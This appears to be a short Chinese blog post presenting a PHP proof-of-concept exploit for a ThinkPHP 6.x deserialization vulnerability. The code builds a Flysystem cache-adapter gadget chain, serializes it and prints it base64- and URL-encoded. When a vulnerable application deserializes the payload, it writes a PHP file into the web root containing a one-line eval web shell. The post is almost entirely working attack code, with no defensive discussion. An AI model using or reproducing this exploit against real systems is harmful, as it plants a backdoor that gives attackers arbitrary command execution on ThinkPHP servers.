0%

ThinkPHP6.x反序列化POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace League\Flysystem\Adapter{
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct()
{
$this->pathPrefix = '';
}

}

class Local extends AbstractAdapter
{

}
}

namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Adapter\Local;

abstract class AbstractCache{
protected $autosave = false;
// protected $complete = [];
// protected $expire = null;
protected $cache = [];
public function __construct()
{
$this -> autosave = false;
// $this -> complete = ['armandheddd' => 'sdkfjdslfjsl'];
// $this -> expire = 'noipi';
$this -> cache = ["payload" => "\<?php @eval(\$_REQUEST[cmd])?>"];


}
}

class Adapter extends AbstractCache {

/**
* Adapter constructor.
*/
protected $file;
protected $adapter;
public function __construct()
{
parent::__construct();
$this -> adapter = new Local();
$this -> file = 'D:/phpstudy_pro/WWW/tp/public/armandhenewpy.php';
}

}
}

namespace app\controller{
use League\Flysystem\Cached\Storage\Adapter;
class createPayload{
public function createpayload(){
echo urlencode(base64_encode(serialize(new Adapter())));
}
}

}
Buy me a coffee.

欢迎关注我的其它发布渠道